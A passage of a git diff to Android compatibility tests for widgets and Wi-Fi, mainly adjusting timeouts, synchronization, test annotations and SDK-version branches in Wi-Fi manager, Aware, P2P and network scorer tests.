+        mActivityRule.getActivity().startActivity(intent, options.toBundle());
         activityStarted.block();
         makeCustomToast();
         View view = mToast.getView();
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
index fb825f7..850e81b 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
@@ -44,6 +44,9 @@
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class ZoomButtonTest {
@@ -126,11 +129,13 @@
 
     @LargeTest
     @Test
-    public void testSetZoomSpeed() {
+    public void testSetZoomSpeed() throws Throwable {
         final long[] zoomSpeeds = { 0, 100 };
         mZoomButton.setEnabled(true);
         ZoomClickListener zoomClickListener = new ZoomClickListener();
         mZoomButton.setOnClickListener(zoomClickListener);
+        final ZoomLongClickListener longClickListener = new ZoomLongClickListener();
+        mZoomButton.setOnLongClickListener(longClickListener);
 
         for (long zoomSpeed : zoomSpeeds) {
             // Reset the tracking state of our listener, but continue using it for testing
@@ -156,10 +161,29 @@
                             + " while long press timeout is " + minTimeUntilFirstInvocationMs,
                     actualTimeUntilFirstInvocationNs
                             > minTimeUntilFirstInvocationMs * NANOS_IN_MILLI);
+            assertTrue(longClickListener.postLatch.await(1, TimeUnit.SECONDS));
             assertTrue("First callback should have happened sooner than "
                             + actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI,
                     actualTimeUntilFirstInvocationNs
-                            <= (minTimeUntilFirstInvocationMs + 200) * NANOS_IN_MILLI);
+                            <= longClickListener.postAfterLongClick);
+        }
+    }
+
+    private static class ZoomLongClickListener implements View.OnLongClickListener, Runnable {
+        public long postAfterLongClick;
+        public CountDownLatch postLatch;
+
+        @Override
+        public boolean onLongClick(View v) {
+            postLatch = new CountDownLatch(1);
+            v.post(this);
+            return false;
+        }
+
+        @Override
+        public void run() {
+            postAfterLongClick = System.nanoTime();
+            postLatch.countDown();
         }
     }
 
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 67ea6ec..e50d3a6 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -54,6 +54,7 @@
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.ArrayDeque;
@@ -87,6 +88,8 @@
     private final Object mLock = new Object();
     private final HandlerThread mHandlerThread = new HandlerThread("SingleDeviceTest");
     private final Handler mHandler;
+    private Boolean mWasVerboseLoggingEnabled;
+
     {
         mHandlerThread.start();
         mHandler = new Handler(mHandlerThread.getLooper());
@@ -101,17 +104,31 @@
     private List<WifiAwareSession> mSessions = new ArrayList<>();
 
     private class WifiAwareBroadcastReceiver extends BroadcastReceiver {
+        private final Object mLock = new Object();
         private CountDownLatch mBlocker = new CountDownLatch(1);
+        private int mCountNumber = 0;
 
         @Override
         public void onReceive(Context context, Intent intent) {
             if (WifiAwareManager.ACTION_WIFI_AWARE_STATE_CHANGED.equals(intent.getAction())) {
-                mBlocker.countDown();
+                synchronized(mLock) {
+                    mCountNumber += 1;
+                    mBlocker.countDown();
+                    mBlocker = new CountDownLatch(1);
+                }
             }
         }
 
         boolean waitForStateChange() throws InterruptedException {
-            return mBlocker.await(WAIT_FOR_AWARE_CHANGE_SECS, TimeUnit.SECONDS);
+            CountDownLatch blocker;
+            synchronized (mLock) {
+                mCountNumber--;
+                if (mCountNumber >= 0) {
+                    return true;
+                }
+                blocker = mBlocker;
+            }
+            return blocker.await(WAIT_FOR_AWARE_CHANGE_SECS, TimeUnit.SECONDS);
         }
     }
 
@@ -391,6 +408,14 @@
 
         mWifiManager = (WifiManager) getContext().getSystemService(Context.WIFI_SERVICE);
         assertNotNull("Wi-Fi Manager", mWifiManager);
+
+        // turn on verbose logging for tests
+        mWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.setVerboseLoggingEnabled(true));
+
+        // Turn on Wi-Fi
         mWifiLock = mWifiManager.createWifiLock(TAG);
         mWifiLock.acquire();
         if (!mWifiManager.isWifiEnabled()) {
@@ -427,6 +452,9 @@
             mSessions.clear();
         }
 
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.setVerboseLoggingEnabled(mWasVerboseLoggingEnabled));
+
         super.tearDown();
         Thread.sleep(INTERVAL_BETWEEN_TESTS_SECS * 1000);
     }
@@ -494,6 +522,12 @@
 
         assertTrue("Timeout waiting for Wi-Fi Aware to change status",
                 receiver1.waitForStateChange());
+        // Interface down event may happen before Wifi State change. In that case, Aware available
+        // state will keep true for a short time.
+        if (mWifiAwareManager.isAvailable()) {
+            assertTrue("Timeout waiting for Wi-Fi Aware to change status",
+                    receiver1.waitForStateChange());
+        }
         assertFalse("Wi-Fi Aware is available (should not be)", mWifiAwareManager.isAvailable());
 
         // 2. Enable Wi-Fi
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
index 6fe7e49..188c2a9 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -201,6 +201,9 @@
             super.tearDown();
             return;
         }
+        if (null != mWifiP2pManager) {
+            removeAllPersistentGroups();
+        }
         mContext.unregisterReceiver(mReceiver);
 
         ShellIdentityUtils.invokeWithShellPermissions(
@@ -304,6 +307,24 @@
         cm.unregisterNetworkCallback(networkCallback);
     }
 
+    private void removeAllPersistentGroups() {
+        WifiP2pGroupList persistentGroups = getPersistentGroups();
+        assertNotNull(persistentGroups);
+        for (WifiP2pGroup group: persistentGroups.getGroupList()) {
+            resetResponse(mMyResponse);
+            ShellIdentityUtils.invokeWithShellPermissions(() -> {
+                mWifiP2pManager.deletePersistentGroup(mWifiP2pChannel,
+                        group.getNetworkId(),
+                        mActionListener);
+                assertTrue(waitForServiceResponse(mMyResponse));
+                assertTrue(mMyResponse.success);
+            });
+        }
+        persistentGroups = getPersistentGroups();
+        assertNotNull(persistentGroups);
+        assertEquals(0, persistentGroups.getGroupList().size());
+    }
+
     private boolean setupWifiP2p() {
         // Cannot support p2p alone
         if (!WifiFeature.isWifiSupported(getContext())) {
@@ -348,10 +369,7 @@
 
         assertEquals(WifiManager.WIFI_STATE_ENABLED, mMySync.expectedWifiState);
         assertEquals(WifiP2pManager.WIFI_P2P_STATE_ENABLED, mMySync.expectedP2pState);
-
-        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
-        // wait for changing to EnabledState
-        assertNotNull(mMySync.expectedNetworkInfo);
+        removeAllPersistentGroups();
 
         return true;
     }
@@ -462,8 +480,19 @@
         mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
-        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
-        assertNotNull(mMySync.expectedNetworkInfo);
+
+        // The first network state might be IDLE due to
+        // lazy initialization, but not CONNECTED.
+        for (int i = 0; i < 2; i++) {
+            assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+            assertNotNull(mMySync.expectedNetworkInfo);
+            if (NetworkInfo.DetailedState.CONNECTED ==
+                    mMySync.expectedNetworkInfo.getDetailedState()) {
+                break;
+            }
+            assertEquals(NetworkInfo.DetailedState.IDLE,
+                    mMySync.expectedNetworkInfo.getDetailedState());
+        }
         assertEquals(NetworkInfo.DetailedState.CONNECTED,
                 mMySync.expectedNetworkInfo.getDetailedState());
 
@@ -603,8 +632,19 @@
         mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
         assertTrue(waitForServiceResponse(mMyResponse));
         assertTrue(mMyResponse.success);
-        assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
-        assertNotNull(mMySync.expectedNetworkInfo);
+
+        // The first network state might be IDLE due to
+        // lazy initialization, but not CONNECTED.
+        for (int i = 0; i < 2; i++) {
+            assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+            assertNotNull(mMySync.expectedNetworkInfo);
+            if (NetworkInfo.DetailedState.CONNECTED ==
+                    mMySync.expectedNetworkInfo.getDetailedState()) {
+                break;
+            }
+            assertEquals(NetworkInfo.DetailedState.IDLE,
+                    mMySync.expectedNetworkInfo.getDetailedState());
+        }
         assertEquals(NetworkInfo.DetailedState.CONNECTED,
                 mMySync.expectedNetworkInfo.getDetailedState());
 
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index f6dde5c..30be41c 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -59,10 +59,10 @@
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.SdkSuppress;
-import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.PollingCheck;
@@ -88,7 +88,7 @@
  * Tests for wifi connected network scorer interface and usability stats.
  */
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-@SmallTest
+@LargeTest
 @RunWith(AndroidJUnit4.class)
 public class ConnectedNetworkScorerTest extends WifiJUnit4TestBase {
     private Context mContext;
@@ -101,7 +101,8 @@
     private boolean mWasVerboseLoggingEnabled;
 
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
-    private static final int DURATION = 10_000;
+    private static final int TIMEOUT = 12_000;
+    private static final int WAIT_DURATION = 5_000;
 
     @Before
     public void setUp() throws Exception {
@@ -125,7 +126,7 @@
         if (!mWifiManager.isWifiEnabled()) {
             ShellIdentityUtils.invokeWithShellPermissions(() -> mWifiManager.setWifiEnabled(true));
         }
-        PollingCheck.check("Wifi not enabled", DURATION, () -> mWifiManager.isWifiEnabled());
+        PollingCheck.check("Wifi not enabled", TIMEOUT, () -> mWifiManager.isWifiEnabled());
 
         // turn screen on
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
@@ -205,7 +206,7 @@
                     Executors.newSingleThreadExecutor(), usabilityStatsListener);
             // Wait for new usability stats (while connected & screen on this is triggered
             // by platform periodically).
-            assertThat(countDownLatch.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(countDownLatch.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
 
             assertThat(usabilityStatsListener.statsEntry).isNotNull();
             WifiUsabilityStatsEntry statsEntry = usabilityStatsListener.statsEntry;
@@ -511,7 +512,7 @@
             mWifiManager.setWifiConnectedNetworkScorer(
                     Executors.newSingleThreadExecutor(), connectedNetworkScorer);
             // Since we're already connected, wait for onStart to be invoked.
-            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
 
             assertThat(connectedNetworkScorer.startSessionId).isAtLeast(0);
             assertThat(connectedNetworkScorer.isUserSelected).isEqualTo(false);
@@ -529,7 +530,7 @@
             scoreUpdateObserver.triggerUpdateOfWifiUsabilityStats(
                     connectedNetworkScorer.startSessionId);
             // Ensure that we got the stats update callback.
-            assertThat(countDownLatchUsabilityStats.await(DURATION, TimeUnit.MILLISECONDS))
+            assertThat(countDownLatchUsabilityStats.await(TIMEOUT, TimeUnit.MILLISECONDS))
                     .isTrue();
             assertThat(usabilityStatsListener.seqNum).isAtLeast(0);
 
@@ -549,12 +550,12 @@
             // Wait for it to be disconnected.
             PollingCheck.check(
                     "Wifi not disconnected",
-                    DURATION,
+                    TIMEOUT,
                     () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
             disconnected = true;
 
             // Wait for stop to be invoked and ensure that the session id matches.
-            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
             assertThat(connectedNetworkScorer.stopSessionId)
                     .isEqualTo(connectedNetworkScorer.startSessionId);
             // Verify that onStart() and onStop() set internal variables correctly.
@@ -603,7 +604,7 @@
             mWifiManager.setWifiConnectedNetworkScorer(
                     Executors.newSingleThreadExecutor(), connectedNetworkScorer);
             // Since we're already connected, wait for onStart to be invoked.
-            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
 
             int prevSessionId = connectedNetworkScorer.startSessionId;
             WifiManager.ScoreUpdateObserver prevScoreUpdateObserver =
@@ -617,21 +618,23 @@
 
             // Restart wifi subsystem.
             mWifiManager.restartWifiSubsystem();
+
+            // wait for scorer to stop session due to network disconnection.
+            assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId);
+
             // Wait for the device to connect back.
             PollingCheck.check(
                     "Wifi not connected",
                     WIFI_CONNECT_TIMEOUT_MILLIS * 2,
                     () -> mWifiManager.getConnectionInfo().getNetworkId() != -1);
 
-            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
-            assertThat(connectedNetworkScorer.stopSessionId).isEqualTo(prevSessionId);
-
             // Followed by a new onStart() after the connection.
             // Note: There is a 5 second delay between stop/start when restartWifiSubsystem() is
             // invoked, so this should not be racy.
             countDownLatchScorer = new CountDownLatch(1);
             connectedNetworkScorer.resetCountDownLatch(countDownLatchScorer);
-            assertThat(countDownLatchScorer.await(DURATION, TimeUnit.MILLISECONDS)).isTrue();
+            assertThat(countDownLatchScorer.await(TIMEOUT, TimeUnit.MILLISECONDS)).isTrue();
             assertThat(connectedNetworkScorer.startSessionId).isNotEqualTo(prevSessionId);
 
             // Ensure that we did not get a new score update observer.
@@ -694,7 +697,7 @@
             networkCallback = connectionInitiator.initiateConnection(testNetwork, executorService);
 
             // We should not receive the start
-            assertThat(countDownLatchScorer.await(DURATION / 2, TimeUnit.MILLISECONDS)).isFalse();
+            assertThat(countDownLatchScorer.await(WAIT_DURATION, TimeUnit.MILLISECONDS)).isFalse();
             assertThat(connectedNetworkScorer.startSessionId).isNull();
 
             // Now disconnect from the network.
@@ -704,7 +707,7 @@
             // We should not receive the stop either
             countDownLatchScorer = new CountDownLatch(1);
             connectedNetworkScorer.resetCountDownLatch(countDownLatchScorer);
-            assertThat(countDownLatchScorer.await(DURATION / 2, TimeUnit.MILLISECONDS)).isFalse();
+            assertThat(countDownLatchScorer.await(WAIT_DURATION, TimeUnit.MILLISECONDS)).isFalse();
             assertThat(connectedNetworkScorer.stopSessionId).isNull();
         } finally {
             executorService.shutdownNow();
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
index 3013e92..271035f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
@@ -36,10 +36,10 @@
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.SdkSuppress;
-import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -69,13 +69,14 @@
  */
 @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-@SmallTest
+@LargeTest
 @RunWith(AndroidJUnit4.class)
 public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends WifiJUnit4TestBase {
     private static final String TAG = "MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest";
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
     private static boolean sWasWifiEnabled;
+    private static boolean sShouldRunTest = false;
 
     private Context mContext;
     private WifiManager mWifiManager;
@@ -96,6 +97,7 @@
         // skip the test if WiFi is not supported or not automotive platform.
         // Don't use assumeTrue in @BeforeClass
         if (!WifiFeature.isWifiSupported(context)) return;
+        sShouldRunTest = true;
 
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
@@ -122,9 +124,9 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        if (!WifiFeature.isWifiSupported(context)) return;
+        if (!sShouldRunTest) return;
 
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertThat(wifiManager).isNotNull();
 
@@ -138,6 +140,7 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue(sShouldRunTest);
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         mWifiManager = mContext.getSystemService(WifiManager.class);
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
@@ -199,6 +202,7 @@
 
     @After
     public void tearDown() throws Exception {
+        if (!sShouldRunTest) return;
         // Re-enable networks.
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
index d90d7b7..7130051 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -35,10 +35,10 @@
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.SdkSuppress;
-import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -68,7 +68,7 @@
  */
 @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-@SmallTest
+@LargeTest
 @RunWith(AndroidJUnit4.class)
 public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestBase {
     private static final String TAG = "MultiStaConcurrencyWifiNetworkSpecifierTest";
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
index b114d5b..f192979 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
@@ -41,9 +41,9 @@
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
index dc11010..11533a9 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
@@ -31,11 +31,11 @@
 import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index e0e4f3b..d2442d0 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -77,7 +77,7 @@
 import android.os.SystemClock;
 import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
@@ -97,6 +97,7 @@
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
+import com.android.modules.utils.build.SdkLevel;
 import com.android.net.module.util.MacAddressUtils;
 
 import java.io.BufferedReader;
@@ -158,10 +159,10 @@
 
     private static final String TAG = "WifiManagerTest";
     private static final String SSID1 = "\"WifiManagerTest\"";
-    // A full single scan duration is about 6-7 seconds if country code is set
-    // to US. If country code is set to world mode (00), we would expect a scan
-    // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
-    private static final int SCAN_TEST_WAIT_DURATION_MS = 9000;
+    // A full single scan duration is typically about 6-7 seconds, but
+    // depending on devices it takes more time (9-11 seconds). For a
+    // safety margin, the test waits for 15 seconds.
+    private static final int SCAN_TEST_WAIT_DURATION_MS = 15_000;
     private static final int TEST_WAIT_DURATION_MS = 10_000;
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
     private static final int WAIT_MSEC = 60;
@@ -1213,36 +1214,6 @@
     }
 
     /**
-     * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} returns the proper
-     * failure status code when adding an enterprise config with mandatory fields not filled in.
-     */
-    public void testAddNetworkPrivilegedFailureBadEnterpriseConfig() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
-        if (!WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
-            // Skip the test if wifi module version is older than S.
-            return;
-        }
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-            WifiConfiguration wifiConfiguration = new WifiConfiguration();
-            wifiConfiguration.SSID = SSID1;
-            wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
-            wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
-            WifiManager.AddNetworkResult result =
-                    mWifiManager.addNetworkPrivileged(wifiConfiguration);
-            assertEquals(WifiManager.AddNetworkResult.STATUS_INVALID_CONFIGURATION_ENTERPRISE,
-                    result.statusCode);
-            assertEquals(-1, result.networkId);
-        } finally {
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-    /**
      * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} works properly when the
      * calling app has permissions.
      */
@@ -1384,27 +1355,37 @@
                 assertTrue(result.networkId >= 0);
                 c.networkId = result.networkId;
             }
-            // open/owe, psk/sae, and wpa2e/wpa3e should be merged
-            // so they should have the same network ID.
-            assertEquals(testConfigs.get(0).networkId, testConfigs.get(1).networkId);
-            assertEquals(testConfigs.get(2).networkId, testConfigs.get(3).networkId);
-            assertEquals(testConfigs.get(4).networkId, testConfigs.get(5).networkId);
+            List<WifiConfiguration> expectedConfigs = testConfigs;
+            if (SdkLevel.isAtLeastS()) {
+                // open/owe, psk/sae, and wpa2e/wpa3e should be merged
+                // so they should have the same network ID.
+                assertEquals(testConfigs.get(0).networkId, testConfigs.get(1).networkId);
+                assertEquals(testConfigs.get(2).networkId, testConfigs.get(3).networkId);
+                assertEquals(testConfigs.get(4).networkId, testConfigs.get(5).networkId);
+            } else {
+                // Network IDs for different security types should be unique for R
+                assertNotEquals(testConfigs.get(0).networkId, testConfigs.get(1).networkId);
+                assertNotEquals(testConfigs.get(2).networkId, testConfigs.get(3).networkId);
+                assertNotEquals(testConfigs.get(4).networkId, testConfigs.get(5).networkId);
+                // WPA3-Enterprise is omitted when WPA2-Enterprise is present for R
+                expectedConfigs = testConfigs.subList(0, 5);
+            }
             List<WifiConfiguration> configuredNetworks = mWifiManager.getConfiguredNetworks();
-            assertEquals(originalConfiguredNetworksNumber + testConfigs.size(),
+            assertEquals(originalConfiguredNetworksNumber + expectedConfigs.size(),
                     configuredNetworks.size());
-            assertConfigsAreFound(testConfigs, configuredNetworks);
+            assertConfigsAreFound(expectedConfigs, configuredNetworks);
 
             List<WifiConfiguration> privilegedConfiguredNetworks =
                     mWifiManager.getPrivilegedConfiguredNetworks();
-            assertEquals(originalPrivilegedConfiguredNetworksNumber + testConfigs.size(),
+            assertEquals(originalPrivilegedConfiguredNetworksNumber + expectedConfigs.size(),
                     privilegedConfiguredNetworks.size());
-            assertConfigsAreFound(testConfigs, privilegedConfiguredNetworks);
+            assertConfigsAreFound(expectedConfigs, privilegedConfiguredNetworks);
 
             List<WifiConfiguration> callerConfiguredNetworks =
                     mWifiManager.getCallerConfiguredNetworks();
-            assertEquals(originalCallerConfiguredNetworksNumber + testConfigs.size(),
+            assertEquals(originalCallerConfiguredNetworksNumber + expectedConfigs.size(),
                     callerConfiguredNetworks.size());
-            assertConfigsAreFound(testConfigs, callerConfiguredNetworks);
+            assertConfigsAreFound(expectedConfigs, callerConfiguredNetworks);
 
         } finally {
             for (WifiConfiguration c: testConfigs) {
@@ -2126,7 +2107,7 @@
             PollingCheck.check(
                     "SoftAp state and info on bridged AP mode are mismatch!!!"
                     + " shouldFallbackSingleApMode = " + shouldFallbackSingleApMode
-                    + ", isEnabled = "  + isEnabled, 5_000,
+                    + ", isEnabled = "  + isEnabled, 10_000,
                     () -> {
                         executor.runAll();
                         int expectedState = isEnabled ? WifiManager.WIFI_AP_STATE_ENABLED
@@ -2438,7 +2419,7 @@
 
             // Verify state and info callback value as expected
             PollingCheck.check(
-                    "SoftAp channel and state mismatch!!!", 5_000,
+                    "SoftAp channel and state mismatch!!!", 10_000,
                     () -> {
                         executor.runAll();
                         int sapChannel = ScanResult.convertFrequencyMhzToChannelIfSupported(
@@ -2470,7 +2451,7 @@
 
             // Verify clean up
             PollingCheck.check(
-                    "Stop Softap failed", 2_000,
+                    "Stop Softap failed", 3_000,
                     () -> {
                         executor.runAll();
                         return WifiManager.WIFI_AP_STATE_DISABLED == callback.getCurrentState() &&
@@ -2559,8 +2540,17 @@
             assertTrue(actionListener.onSuccessCalled);
             // Wait for connection to complete & ensure we are connected to the saved network.
             waitForConnection();
-            assertEquals(savedNetworkToConnect.networkId,
-                    mWifiManager.getConnectionInfo().getNetworkId());
+            if (SdkLevel.isAtLeastS()) {
+                assertEquals(savedNetworkToConnect.networkId,
+                        mWifiManager.getConnectionInfo().getNetworkId());
+            } else {
+                // In R, auto-upgraded network IDs may be different from the original saved network.
+                // Since we may end up selecting the auto-upgraded network ID for connection and end
+                // up connected to the original saved network with a different network ID, we should
+                // instead match by SSID.
+                assertEquals(savedNetworkToConnect.SSID,
+                        mWifiManager.getConnectionInfo().getSSID());
+            }
         } finally {
             // Re-enable all saved networks before exiting.
             if (savedNetworks != null) {
@@ -2718,7 +2708,7 @@
      * Tests {@link WifiManager#forget(int, WifiManager.ActionListener)} by adding/removing a new
      * network.
      */
-    @SecurityTest
+    @AsbSecurityTest(cveBugId = 159373687)
     public void testForget() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -4268,12 +4258,11 @@
         }
     }
 
-
     /**
-     * Verify that insecure WPA-Enterprise network configurations are rejected.
+     * Verify that secure WPA-Enterprise network configurations can be added and updated.
      */
     @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    public void testInsecureEnterpriseConfigurationsRejected() throws Exception {
+    public void testSecureEnterpriseConfigurationsAccepted() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -4290,9 +4279,6 @@
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
-            // Verify that an insecure network is rejected
